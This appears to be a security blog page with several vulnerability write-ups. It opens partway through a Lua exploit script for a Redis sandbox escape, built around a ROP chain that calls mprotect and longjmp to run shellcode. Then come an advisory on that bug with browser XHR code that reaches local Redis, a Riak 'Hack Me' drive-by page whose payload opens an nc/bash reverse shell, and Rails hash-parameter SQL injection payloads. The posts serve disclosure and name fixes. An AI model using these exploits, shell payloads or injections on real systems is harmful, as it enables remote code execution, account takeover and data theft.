          "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
          "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
          "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
          "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",

          "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
          "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
          "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
          "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",

           --[[ poprdipoprbp, ]] rdi, dummy,
           rop_addresses.poprsipoprbp, rsi, dummy,
           rop_addresses.poprbxpopr14poprbp, poprbp, rdx_all, dummy,
           rop_addresses.movrdxr14callrbx,
           mprotect_addr,

           shellcode_ptr,

           rop_addresses.poprdipoprbp, rdi, dummy,
           rop_addresses.poprsipoprbp, rsi, dummy,
           rop_addresses.poprbxpopr14poprbp, poprbp, rdx_read_write, dummy,
           rop_addresses.movrdxr14callrbx,
           mprotect_addr,

           rop_addresses.poprdipoprbp, old_jump_buf_addr, dummy,
           longjmp_addr,

           "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
         }

  payload_str = table.concat(payload, "")

  local payload_string_addr = addint(cstring(payload_str), 4096)

  print("[*] new sp " .. dump8(payload_string_addr))

  --[[ TODO: we always seem to get back strings that are correctly 16 byte aligned. handle unaligned strings? ]]
  if (string.byte(payload_string_addr, 1) % 16) ~= 8 then
    fail("payload not aligned")
  end


  write_word(jmp_buf_sp, payload_string_addr)
  write_word(jmp_buf_eip, rop_addresses.poprdipoprbp)

  --[[ you can also overwrite the SP at stackpointer - 16 .
  but if we corrupt long jump then it is possible to return back into redis :) ]]

  print("[*] executing payload")
  error("wat")
end)

coroutine.resume(co)

print("[*] resumed normal redis execution")

collectgarbage()

return 42

Redis EVAL Lua Sandbox Escape

It is possible to break out of the Lua sandbox in Redis and execute arbitrary code. This vulnerability is not new and is heavily based on Peter Cawley’s work with Lua bytecode type confusion.

This shouldn’t pose a threat to users under the trusted Redis security model where only trusted users can connect to the database. However, in real deployments there could be databases that can be accessed by untrusted users. The main deployments that are vulnerable are developers machines, places where redis servers can be reached via SSRF attacks and cloud hosting.

Redis 2.8.21 and 3.0.2 have been released to fix this issue.

Vulnerable Deployments

Developers Machines

Developers machines may be vulnerable because they bind Redis to all interfaces which used to be the default listen directive in the Redis configuration.

Developers may also be vulnerable even if they bind to 127.0.0.1 because Redis is effectively a HTTP server. The first mention of attacking Redis via HTTP I could find is by Nicolas Grégoire where he documents attacking a Redis server on a Facebook property using a SSRF vulnerability.

Because Redis is a HTTP server the same origin policies of browsers will allow any website on the internet to send a POST request to it. When using XHR the body is completely controllable. For example if you run the following in the console of your webbrowser while running wireshark:

var x = new XMLHttpRequest();
x.open("POST", "http://127.0.0.1:6379");
x.send('eval "print(\\"hello\\")" 0\r\n');

In wireshark you will see:

POST / HTTP/1.1
Host: 127.0.0.1:6379
Connection: keep-alive
Content-Length: 27
Pragma: no-cache
Cache-Control: no-cache
Origin: http://www.agarri.fr
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Referer: http://www.agarri.fr/kom/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8

eval "print(\"hello\")" 0
-ERR unknown command 'POST'
-ERR unknown command 'Host:'
-ERR unknown command 'Connection:'
-ERR unknown command 'Content-Length:'
-ERR unknown command 'Pragma:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Origin:'
-ERR unknown command 'User-Agent:'
-ERR unknown command 'Content-Type:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Referer:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Accept-Language:'
$-1

And in the stdout for Redis you will see:

hello

The attacker is not able to read the response from the server because of the same origin policy. However, this might be worked around by using a DNS rebinding attack. Even with DNS rebinding it might not be possible to read the response because the response is not valid HTTP.

However, reading the response is not necessary because you can package a super generic exploit that checks the result of the redis.call(“INFO”) command and then launches a OS/architecture specific payload.

SSRF attacks

This is similar to attacking developers except a trusted server is tricked into making a request to the Redis server However, you need a lot of control over the body which might not often be possible depending on how the body is encoded.

Redis Cloud Hosting

This will only effect providers where people running arbitrary code from the Redis process is not part of their threat model. The major players in this area look like they are using sandboxing. For example the pids returned by ‘INFO’ on heroku are very low <10 which indicates they are running the Redis servers in containers. You can already run arbitrary code in containers via dynos on Heroku so running arbitrary code in a Redis container is probably not useful for an attacker. Amazon Elasticcache also looks like it uses linux containers.

Similarily, it looks like Microsoft’s hosted Redis solution runs in an isolated VM. Redis ‘INFO’ returns a virtual os string and it takes ~15 minutes to launch an instance. If MS aren’t running in an isolated VM then the 15 minute startup time is very weird.

This will be a problem if a hosting provider runs a whole bunch of redis processes on the same machine/same VM from different customers without any kind of isolation.

Exploit

Peter Cawley has found that the loadstring function can be used to load bytecode that is unsafe. He has created three very useful lua exploit primitives that make exploitation easy.

First is a way of reading the Value contained in a TValue struct. This allows reading the pointer value from a lua tagged value. Some pointer values are already public (using tostring) but there doesn’t seem to be a way to get the pointer value for a lua string so this is useful.

Second is a way of reading 8 bytes from an arbitrary memory address.

Third is a way of writing 8 bytes to an arbitrary memory address.

Using the arbitrary memory read it is possible to leak the address of a known C function. From the address of this c-function it is possible to find the base address of the redis-server binary. From this base address it is possible to find pointers to libc/libsystem_c functions and to find the base address of the libc/libsystem_c libraries. From these libraries it is possible to find the addresses of useful exported functions (longjump/system) and ROP gadgets. This technique is similar to pwntools dynelf

The arbitrary memory read is also used to leak an address inside the stack. The lua_State object holds a long_jump variable that references a long_jump buffer that is allocated on the stack. This leaks the stack address which can be useful if you just want to corrupt the stack or the rsp and rip can be overwritten in the longjump buf to directly take control when longjump is called. OSX has no pointer mangling protections so this is quite easy to corrupt.

On linux the rip and rsp (and rbp) values are mangled. However, if you have full read access to the memory you can reverse the secret cookie value to corrupt the values. Also, linux prevents you from longjmp'ing to an invalid stack frame (ie: the heap) but you can longjump to point the stack inside the longjump buffer then pivot the stack into the heap. This is not really necessary if you don’t care about corrupting the stack and crashing the redis process but if you longjump and don’t corrupt the stack then you can resume normal execution of redis after the exploit has finished running.

Exploitability

I have exploits for Linux 64 bit and OSX 64 bit. Both exploits take care to not crash the redis server during successful execution. They will make a call to system() then go back to normal redis execution.

I have run the Linux exploit on the Amazon RHEL Image (PIE enabled) and the Amazon 14.04 Ubuntu Image (no PIE). I believe the exploit will work on most modern Linux 64 bit systems (I suspect it will not work if you compile libc with fomit-frame-pointer but this can be worked around). It does not use any hardcoded addresses from libc or the Redis binary.

The OSX version I have only tested on Yosemite but an earlier version was working on Mavericks and I believe the Yosemite version works on both. This has been tested with two different Redis versions and similarily does not depend on hardcoded address from libsystem_c or the Redis binary. However, it uses addresses from libsystem_c to speed up the exploit.

Workarounds

The best option is to set a strong password on Redis. Systems that are reachable via HTTP without a password are a problem waiting to happen.

It is also possible to rename the EVAL command. If you are not using EVAL this is a good option but you still might be at risk of someone modifying your Redis data via HTTP SSRF attacks.

Upgrading to Redis 2.8.21 and 3.0.2 will also fix this issue but I still strongly recommend using password authentication on Redis systems.

Riak Drive by Attack

Be careful with Riak HTTP API (CVE-2012-3586)

This has been fixed in Riak 1.1.4

I would recommend not running the Riak HTTP API on a machine that you browse the internet on or on a machine that is reachable by machines that can browse the internet.

This is heavily based on Aphyr’s work. I’ve taken his work and used it in a cross site scripting attack. When you click the attack me button your riak process will attempt to connect to localhost:6666. If you run nc -l 6666 and wait for a connection you will have a shell with the privileges of the user running riak.

The attack will perform the following actions

  1. Write the value lols=lols to the key i_can_run_better in bucket everything_you_can_run
  2. Write the value spawn(fun() -> os:cmd("mkfifo /tmp/mypipe.$$ && cat /tmp/mypipe.$$ | /bin/bash -i 2>&1 | nc localhost 6666 > /tmp/mypipe.$$") end) to the file /tmp/evil.erl
  3. Evalute the contents of /tmp/evil.erl using the erlang function file:path_eval. This will cause your machine to try and open a connection to localhost:6666 that is backed by a shell running under the riak user.

By clicking ‘Hack Me’ you agree that you have reviewed the source code of this page and understand what the attack will do and will not hold the author of this page liable for any damage the attack may cause.

Click ‘Hack Me’ below to start the attack.

Abusing Dynamic Types for Fun and Profit

Most Rails applications don’t properly sanitise user input when passing it to queries (UPDATE: Rails has fixed the problems raised in this article so it was mostly a Rails problem rather than an application programmer problem). I’m going to use an example to illustrate this problem.

The Scenario

Johnny has been tasked to add a password reset feature to his Rails application. So he adds a reset_token to his User model and a PasswordsController class to the application. When the user forgets their password they type in their email and a reset_token is generated and saved on the User model and a url containing the reset token is sent to the users email address. The url looks like /users/1/passwords/edit?reset_token=kjksldjflskdjf. This reset token is then checked when the user resets their password. Johnny writes the following code in the PasswordsController:

1
2
3
4
5
6
7
8
9
10
11
def update
  @user = User.find_by_id_and_reset_token(
                 params[:user_id], params[:reset_token])

  if @user.update_password(params[:user][:password])
    redirect_to(url_after_update)
  else
    flash_failure_after_update
    render :template => 'passwords/edit'
  end
end

Johnny deploys this new feature to the staging environment and Mary is given the task to test it. Now Mary is quite clever and checks what happens if she removes the reset_token parameter from the url and changes the user id. She visits the url /users/2/passwords/edit and finds that she can change the password for any user that has not requested their password to be reset. She raises this as a critical bug.

Johnny reproduces the problem on his machine and notices it is is doing the following query:

1
2
User Load (0.2ms)  SELECT `users`.* FROM `users` WHERE `users`.`id` = 2 
  AND `users`.`reset_token` IS NULL LIMIT 1

He realises he needs to stop users from not sending the reset_token parameter because if params[:reset_token] is nil then they can update any user who hasn’t requested a password reset. He updates the code in PasswordController to the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def update

  if params[:reset_token].blank?
    flash_failure_after_update
    render :template => 'passwords/edit'
    return
  end

  @user = User.find_by_id_and_reset_token(
                 params[:user_id], params[:reset_token])

  if @user.update_password(params[:user][:password])
    redirect_to(url_after_update)
  else
    flash_failure_after_update
    render :template => 'passwords/edit'
  end
end

Mary tries her trick again but it doesn’t work this time. But Mary has more tricks in her bag and this time she uses the url /users/2/passwords/edit?reset_token[] . Again she is able to change the password for any user that has not had a reset_token generated.

Johnny reproduces the problem on his machine and sees it doing the same query:

1
2
User Load (0.2ms)  SELECT `users`.* FROM `users` WHERE `users`.`id` = 2 
  AND `users`.`reset_token` IS NULL LIMIT 1

Johnny is completely stumped as to how nil.blank? could be false. He adds some logging and finds the params[:reset_token] is actually an array containing a nil element: [nil]. He decides to fix the problem by calling to_s on the query parameters.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def update

  if params[:reset_token].blank?
    flash_failure_after_update
    render :template => 'passwords/edit'
    return
  end

  @user = User.find_by_id_and_reset_token(
                 params[:user_id].to_s, params[:reset_token].to_s)

  if @user.update_password(params[:user][:password])
    redirect_to(url_after_update)
  else
    flash_failure_after_update
    render :template => 'passwords/edit'
  end
end

Not Just Arrays (SQL Manipulation)

If Johnny had a used the where function instead of find_by_ then an attacker could have exploited it by passing in a Hash instead of an Array.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def update

  if params[:reset_token].blank?
    flash_failure_after_update
    render :template => 'passwords/edit'
    return
  end

  @user = User.where(:id => params[:user_id], :reset_token => params[:reset_token]).limit(1).first

  if @user.update_password(params[:user][:password])
    redirect_to(url_after_update)
  else
    flash_failure_after_update
    render :template => 'passwords/edit'
  end
end

For example Mary could of sent the url /users/2/passwords/edit?reset_token[users.id]=2. The query then performed would have been:

1
2
User Load (0.2ms)  SELECT `users`.* FROM `users` WHERE `users`.`id` = 2 
  AND `users`.`id` = 2 LIMIT 1

The user is able to change the token filter to a filter on a column of their choice. On previous versions of Rails this attack can be escalated to arbitrary SQL injection. This attack uses the previously fixed issue of SQL injection in table names and columns. This bug was originally not as serious because you would not normally let a user choose arbitrary columns or table names in a query. However, with the SQL Manipulation bug an attacker is now able to change table and column names to perform SQL injection.

1
2
3
4
5
params[:role_id] = {"user_details.id` = 1 or 1 = 1); -- " => 1}
UserDetail.find(:all, :conditions => {:role_id => params[:role_id]})

UserDetail Load (0.5ms)   SELECT * FROM `users` WHERE
(`user_details`.`id` = 1 or 1 = 1); -- ` = 1)

This Hash problem is actually a security bug in rails and the rails team has released a patch for it.

Underlying Problem

The problem is developers expect the user input to be a String but it can also be an Array or a Hash and Rails has quite different behaviour if a Hash or an Array is passed in. The Hash is particularly troubling because if you have a filter on column X then a user can change it to be a filter on column Y. Example:

1
2
3
4
irb(main):001:0> User.where(:id => 1, :confirmation_token => "foo")
  User Load (0.4ms)  SELECT `users`.* FROM `users` WHERE `users`.`id` = 1 
    AND `users`.`confirmation_token` = 'foo'
=> []
1
2
3
4
irb(main):002:0> User.where(:id => 1, :confirmation_token => {"users.id" => "1"})
  User Load (0.4ms)  SELECT `users`.* FROM `users` WHERE `users`.`id` = 1 
    AND `users`.`id` = 1
=> [#<User id: 1, email: "benmmurphy@gmail.com", encrypted_password: "f1fcf94f12b17a447e1c4a98ba2bae934aacabb7", salt: "abcb87e3031102d110cf87734d39d8a1e6d8c03e", confirmation_token: nil, remember_token: "975dc5fb3524a90f1a6aff4c1a111d2cd8bfcc50", created_at: "2012-05-15 08:28:01", updated_at: "2012-05-15 08:28:01">]

This Hash trick only seems to work on where filterings and not find_by methods:

1
2
3
irb(main):006:0> User.find_by_id_and_confirmation_token(1, {"users.id" => "1"})
ArgumentError: Unknown key: users.id
  from /Users/benmurphy/.rbenv/versions/1.9.2-p290/lib/ruby/gems/1.9.1/gems/activesupport-3.2.2/lib/active_support/core_ext/hash/keys.rb:44:in `block in assert_valid_keys'

Vulnerable Code

  • https://github.com/thoughtbot/clearance - Possible to change any users password.
  • Rails ( 2.3.x, < 3.2.6, <3.1.6, < 3.0.14) SQL manipulation/SQL injection anywhere there is use of where() or find() that takes user input.

Fixes

  • Rails has released 3.2.6 that fixes both the nil issue and SQL manipulation/injection problems with Hash.
  • Clearance has released a new version 0.6.13 which fixes the problem with nil parameters

Mitigation

It is recommended that you install the Rails patches to fix the Hash problem and nil problem. Also, with security sensitive code I strongly recommend all query parameters be coerced to the type you expect them to be. For example if you expect a parameter to be a String you should call to_s on it.

Previous Work

The Devise team seem to have been aware of the general problem of users being able to send non-string parameters. They have a ParamFilter class that forces all parameters to be Strings. It looks like they did this because they had an injection problem with mongoid.

ParamFilterlink
1
2
3
4
5
6
7
# Force keys to be string to avoid injection on mongoid related database.
def stringify_params(conditions)
  return conditions unless conditions.is_a?(Hash)
  conditions.each do |k, v|
    conditions[k] = v.to_s if param_requires_string_conversion?(v)
  end
end

Stay Tuned

We only covered the issues fixed in 3.2.5 and 3.2.4 in this article. There was another variant of the Hash attack that was fixed in 3.2.6. I will cover that in a future article and show how to exploit it.